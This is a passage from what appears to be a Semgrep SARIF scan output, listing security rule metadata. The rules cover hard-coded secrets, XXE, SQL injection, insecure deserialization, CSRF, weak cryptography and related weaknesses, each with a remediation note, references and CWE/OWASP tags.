[https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password","id":"rust.secrets.postgres.empty-password.empty-password","name":"rust.secrets.postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","id":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","name":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-environ-variable-django.tainted-environ-variable-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","id":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","name":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","id":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","name":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"help":{"markdown":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager)\n - [https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https](https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https)\n","text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","id":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","name":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","id":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","name":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","id":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","name":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli)\n - [https://github.com/brianmario/mysql2](https://github.com/brianmario/mysql2)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","id":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","name":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","id":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","name":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","id":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","name":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","id":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","name":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","id":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","name":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","id":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","name":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"help":{"markdown":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token)\n - [https://docs.djangoproject.com/en/4.2/howto/csrf/](https://docs.djangoproject.com/en/4.2/howto/csrf/)\n","text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"helpUri":"https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token","id":"python.django.security.django-no-csrf-token.django-no-csrf-token","name":"python.django.security.django-no-csrf-token.django-no-csrf-token","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-no-csrf-token.django-no-csrf-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"help":{"markdown":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this","id":"cpp.lang.correctness.sizeof-this.sizeof-this","name":"cpp.lang.correctness.sizeof-this.sizeof-this","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-this.sizeof-this"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"help":{"markdown":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n","text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","id":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","name":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","id":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","name":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"help":{"markdown":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service)\n - 